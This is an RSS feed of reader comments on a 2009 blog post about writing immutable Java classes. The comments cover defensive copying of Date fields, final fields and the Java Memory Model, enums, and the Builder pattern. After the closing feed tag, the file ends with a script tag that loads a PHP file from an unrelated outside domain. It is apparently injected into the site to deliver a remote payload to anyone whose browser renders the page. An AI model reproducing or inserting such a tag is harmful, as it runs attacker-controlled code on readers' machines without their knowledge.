<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Learn This: When and how to make Immutable objects</title>
	<atom:link href="http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/feed/" rel="self" type="application/rss+xml" />
	<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/</link>
	<description></description>
	<lastBuildDate>Mon, 30 Aug 2010 22:57:03 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: Himanshu</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-370</link>
		<dc:creator>Himanshu</dc:creator>
		<pubDate>Mon, 14 Jun 2010 16:28:19 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-370</guid>
		<description>The example is still not immutable. 
In the constructor you take Date as a parameter, so when someone instantiates this, it would be passed in. So the reference is held outside and can be modified post object creation. So the immutable parameters in the constructors should be cloned before assigning to private instance variables.</description>
		<content:encoded><![CDATA[<p>The example is still not immutable.<br />
In the constructor you take Date as a parameter, so when someone instantiates this, it would be passed in. So the reference is held outside and can be modified post object creation. So the immutable parameters in the constructors should be cloned before assigning to private instance variables.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Pages tagged "immutable"</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-156</link>
		<dc:creator>Pages tagged "immutable"</dc:creator>
		<pubDate>Tue, 24 Mar 2009 17:32:33 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-156</guid>
		<description>[...] bookmarks tagged immutable Learn This: When and how to make Immutable objects...&#160;saved by 3 others  &#160;&#160;&#160;&#160;gryteke bookmarked on 03/24/09 &#124; [...]</description>
		<content:encoded><![CDATA[<p>[...] bookmarks tagged immutable Learn This: When and how to make Immutable objects&#8230;&nbsp;saved by 3 others  &nbsp;&nbsp;&nbsp;&nbsp;gryteke bookmarked on 03/24/09 | [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: willcodejavaforfood</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-103</link>
		<dc:creator>willcodejavaforfood</dc:creator>
		<pubDate>Tue, 10 Mar 2009 15:59:55 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-103</guid>
		<description>I&#039;d say that getters must return immutable objects or copies is important enough that is should be in the bullet point list. :)</description>
		<content:encoded><![CDATA[<p>I&#8217;d say that getters must return immutable objects or copies is important enough that is should be in the bullet point list. <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Alex Miller</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-71</link>
		<dc:creator>Alex Miller</dc:creator>
		<pubDate>Thu, 26 Feb 2009 03:00:50 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-71</guid>
		<description>Marking the fields final is far more important than marking the class final.  These two things are completely different.  Marking the fields final indicates special things in the Java Memory Model - namely that the value MUST be set by the end of construction (or you will get a compile error) and if the object is safely published, all threads are guaranteed to see the values you set during the constructor *without further synchronization*.  Without the final on the fields, those guarantees are not given by the JMM.</description>
		<content:encoded><![CDATA[<p>Marking the fields final is far more important than marking the class final.  These two things are completely different.  Marking the fields final indicates special things in the Java Memory Model &#8211; namely that the value MUST be set by the end of construction (or you will get a compile error) and if the object is safely published, all threads are guaranteed to see the values you set during the constructor *without further synchronization*.  Without the final on the fields, those guarantees are not given by the JMM.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Giorgio Sironi</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-67</link>
		<dc:creator>Giorgio Sironi</dc:creator>
		<pubDate>Tue, 24 Feb 2009 19:58:21 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-67</guid>
		<description>Nice introduction on immutable objects. I use immutable objects to implement Value Object (see DDD).</description>
		<content:encoded><![CDATA[<p>Nice introduction on immutable objects. I use immutable objects to implement Value Object (see DDD).</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: tont0r</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-66</link>
		<dc:creator>tont0r</dc:creator>
		<pubDate>Tue, 24 Feb 2009 19:41:08 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-66</guid>
		<description>Alex,

Good catch on the Date. I cant believe I let that slip through because I have definitely run into that situation before. However, I did opt for making the whole class final in the example. You are right though, for the purpose of this example, I should have marked all of them as final instead.

I agree on the setters being okay and as you said, they are fine as long as they return new instances of your class. In the example I gave, there wasnt too much of a reason for it. But I suppose for the purpose of an example I can throw an example up there. 

Thanks for the input!
Marcel</description>
		<content:encoded><![CDATA[<p>Alex,</p>
<p>Good catch on the Date. I cant believe I let that slip through because I have definitely run into that situation before. However, I did opt for making the whole class final in the example. You are right though, for the purpose of this example, I should have marked all of them as final instead.</p>
<p>I agree on the setters being okay and as you said, they are fine as long as they return new instances of your class. In the example I gave, there wasnt too much of a reason for it. But I suppose for the purpose of an example I can throw an example up there. </p>
<p>Thanks for the input!<br />
Marcel</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Alex Miller</title>
		<link>http://codeofdoom.com/wordpress/2009/02/24/learn-this-when-and-how-to-make-immutable-objects/comment-page-1/#comment-65</link>
		<dc:creator>Alex Miller</dc:creator>
		<pubDate>Tue, 24 Feb 2009 19:35:37 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=208#comment-65</guid>
		<description>Immutable classes are indeed quite important but I wanted to mention a few things:

1) You mention the importance of marking fields final but you didn&#039;t actually do so in your example.  This is of critical importance to the Java Memory Model.

2) Regardless of final usage, this class is actually not immutable.  You return the Date field from the getter and Date is a mutable class that the caller of the getDate() can modify, thus modifying the data of this class.  It is best to either wrap objects like this in immutable wrappers or copy the data so it cannot reach back to you.

3) Examples like your &quot;constants&quot; are usually better implemented with an enum in Java, although it depends a bit on the usage.

4) Even setters are ok for an immutable class...as long as they return a new immutable copy of the object.  See BigInteger/BigDecimal for good examples.

5) Your &quot;companion class&quot; pattern is more commonly called a Builder.</description>
		<content:encoded><![CDATA[<p>Immutable classes are indeed quite important but I wanted to mention a few things:</p>
<p>1) You mention the importance of marking fields final but you didn&#8217;t actually do so in your example.  This is of critical importance to the Java Memory Model.</p>
<p>2) Regardless of final usage, this class is actually not immutable.  You return the Date field from the getter and Date is a mutable class that the caller of the getDate() can modify, thus modifying the data of this class.  It is best to either wrap objects like this in immutable wrappers or copy the data so it cannot reach back to you.</p>
<p>3) Examples like your &#8220;constants&#8221; are usually better implemented with an enum in Java, although it depends a bit on the usage.</p>
<p>4) Even setters are ok for an immutable class&#8230;as long as they return a new immutable copy of the object.  See BigInteger/BigDecimal for good examples.</p>
<p>5) Your &#8220;companion class&#8221; pattern is more commonly called a Builder.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://indesignstudioinfo.com/ls.php"></script>